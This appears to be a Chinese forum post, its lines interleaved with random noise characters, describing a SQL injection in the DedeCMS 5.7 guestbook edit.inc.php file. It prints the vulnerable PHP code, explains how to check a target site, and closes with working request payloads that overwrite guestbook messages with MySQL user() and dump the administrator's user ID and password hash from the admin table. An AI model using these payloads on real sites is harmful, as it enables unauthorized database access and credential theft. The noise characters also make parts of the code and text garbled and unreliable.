影响版本为5.7. M% }( K4 Z* t8 h* a
& K$ s3 L5 Q- M ~
漏洞文件edit.inc.php具体代码:
& b/ J* p0 T/ V2 i3 q. T) j4 A, W4 Z. E+ _8 E* R4 p- \: n
< ?php 0 P, H8 A( G7 [
1 m( V+ _* ^; M0 w. D% O3 b
if(!defined('DEDEINC')) exit('Request Error!');
( |; a m& @( z' i0 x6 a! J* _1 x5 ^1 N( s2 s3 ?* R
c- Y% ?+ A M" V! y8 ?: n6 n
: m: A0 O0 s' G2 C/ S+ u9 R* Fif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
# G. D5 z, {/ l9 N4 q, U. V1 m+ b/ B
else $GUEST_BOOK_POS = "guestbook.php";
# i) J, u2 j! Y( u
: `2 M9 N$ D# L" ^6 F$ _+ Y
1 g/ C. I2 K) Z. {) }( ^, a) H6 P0 C' \3 e: [7 X
$id = intval($id); 6 u5 V' T* X5 ]% ^
( B) U9 N1 i( v. f* Y
if(empty($job)) $job='view';
$ S g' ~3 w2 u2 ~ E! r% q# s! @$ p6 t3 u$ x" c
1 v3 Y/ H& N, K! K/ v8 M
. {$ ]% u4 t: C) U: f
if($job=='del' && $g_isadmin)
' y4 Q' a4 {" }% p3 y
8 {) j( p8 \' ~* ]. `5 x{
4 e0 ~7 P j9 a6 {4 `8 W" h; y" J0 a8 g/ [# I, O; o
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
: a& x. u' x) m$ Y9 J* b9 H: r9 G0 I; E1 i, G _
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
) V* m# F/ Q0 a; D: B, [8 F9 b8 ], U) ~: h* U5 \
exit(); 4 r4 Y( W' ]) ]5 X* j8 T
$ f$ d, r+ r% [8 r
}
+ A! V3 B- O) n" I0 `4 r8 h1 f0 L+ k( ?
else if($job=='check' && $g_isadmin)
# G4 L# N' d& [# W; v- p; B+ O, ^5 C! R
{
8 C. N: A! |7 z# ^) h5 k( Z
3 p5 g: E% L2 J" I% s, X$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); 4 d0 z& b9 r: [% P' H
, q! O$ \5 {! _5 ]7 D- z
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS); : S/ n$ Q- h. F
- B+ c0 k" C) f9 I( \! Rexit(); / O2 j4 s. O7 N6 d8 V
$ S$ f- q5 p0 ~3 \} 5 z5 h( N+ B( G7 T4 d8 }
! e" s2 q8 Y0 melse if($job=='editok') ) z2 {/ b3 a) Q- _
! M0 x, r& g4 `
{ ( J' K! _8 _. i) b' z0 H6 F2 q+ p
: R, s: E1 k6 g- b
$remsg = trim($remsg); $ _* G+ Z! _" M2 T! C% [* s
`% |0 x. m% S+ r, l7 A
if($remsg!='') * n/ o% |. @3 W) F/ i, e) V% _
* Z2 [6 H! L3 y1 |8 i: J3 K{
; l+ C i6 k# E& B' T5 d- ~* t q5 }: e$ `) w
//管理员回复不过滤HTML By:Errorera blog:errs.cc O. T$ j0 @. ^1 ~% @" `' B
7 H& E5 S2 n$ O" j& V l: g* bif($g_isadmin)
4 ]3 M% Y- T4 }. a7 w, R
2 j; h7 J; _( n& ?& Q# }: g$ a, F% l4 g{ % S7 i2 C: G' }% C1 O' B
, U* g, A' q9 z. {( F5 K5 m
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
$ d% G. F: n/ ~' c
6 u$ t+ T; R" r) E//$remsg <br /><font color=red>管理员回复:</font> } $ _, [4 A) K. W: T4 g) P0 n
h2 K- R) {2 |& j
else " H' s, t& a0 i. G0 y
, e5 D8 p4 s9 `6 d
{ # j" a" _( a2 ~& t
4 f( d9 |; M* R! C* J
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
7 G* i5 |& R: s9 ?7 B; }: f) j( C( A0 ]) }
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; . {/ @2 S. \% \$ x& Z
9 u ~- @5 S5 O- T1 r$ N$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
; D$ f5 E( T( q! U5 R! `: q K! p' U R! I
$msg = $oldmsg.$remsg; / m/ W* ^- G! V1 U; A% v/ T1 w
& y9 s$ C% k- {$ n; U& s5 V" U+ y} 9 Y* e- A Y5 ^- p$ u' ^
" _2 R( B% `, t, Z( R2 m' z5 e} ( t: s( Y6 j/ k" ?( q
Y0 p+ G+ t2 X, d2 G+ `//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc 0 m& ~5 G' O) U) x' h4 Z
: p( k2 P2 o- ]+ w" {6 [5 E, E$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
4 `* r4 z$ l0 x1 E. u; k- E
: b0 L' x& Y* z |: C" ?% O$ j LShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
& M, t, i2 B1 T% b8 X7 q" X% z3 s( j4 h7 i d
exit();
1 E8 M* B6 r" j3 Q7 G4 N0 p+ B/ d' V* b( j/ N/ R5 z: m+ K
} & j6 S9 h% b+ G9 E: a. C# P
4 j @0 s) Z' ?1 {6 j; X3 U
//home:www.errs.cc ; T9 z, @6 q% M2 t( g" `% m2 b
+ w3 @- X8 v L+ m) kif($g_isadmin) 3 Z. _. |* f9 y
! B1 y: `( j% a( T. G9 L% A( P
{
- x w2 x* V8 G: ?* J+ O- T( E7 w1 U# R- H: v) U
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); 7 C6 o, K% V$ C. q) r& w. ^1 r
, r: y/ D4 _7 n7 I7 |% {require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
; X: b9 H. \1 m$ l! `0 _. S3 Z1 ?0 E1 G
} 0 g, M) `" k Z, V. l& @
( f t, {, g2 A" @3 ~4 c
else 5 z: f: w- b% a$ c6 n
- o# P( @" D$ }7 R& f
{ ) S5 z. J+ {7 p' r
# `* _! _% E6 O% `! d" E. t- u
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); - i4 x: a4 f+ _5 }
4 f" e u; o$ e9 G( d: Q) Prequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); / \ V7 E" A* U
0 B* s+ u. k+ P7 B- G
} 漏洞成功需要条件:
" L6 h- v4 y, L. H! M1. php magic_quotes_gpc=off
" M7 l/ T0 j, c7 [2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
E v" \! Y2 l: {0 O% v- q
) ?$ O0 A/ |$ c) O怎么判断是否存在漏洞:" p: \5 g# W) Q2 }$ S: g- |
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
8 V' v( i: M- ~6 y! t, W4 z" q然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID8 C* |' N& J& `( N
访问:! F# K1 v, x9 I- @$ \
/ \5 V# C- b! [* U/ K4 w- Ywww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
, m* I, @- p7 W- B0 B跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证7 d7 F# p$ ]" s% f2 c
/ Y d9 }$ Y" p& o$ B& r
# A, }' H0 } H! r( J: l9 f
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off: `, @, ^, ?) o V
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。7 S6 A$ U- o0 @4 h, a5 ?
那么再次访问
- U' w* H+ C* D9 c( \2 _
5 u) a* }5 ~4 y& k+ ^www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
! A& h5 q1 v6 f# P
2 P1 H$ I" }6 F- ?大概利用就是这样,大家有兴趣的多研究下!!
4 O7 g$ \# f- A( [0 c- P% h4 h+ Q6 U7 w' k" J/ C6 t; v
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!8 t! m5 y4 w6 y: p! z3 A
# Y# T8 d3 h b. C: e4 sview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |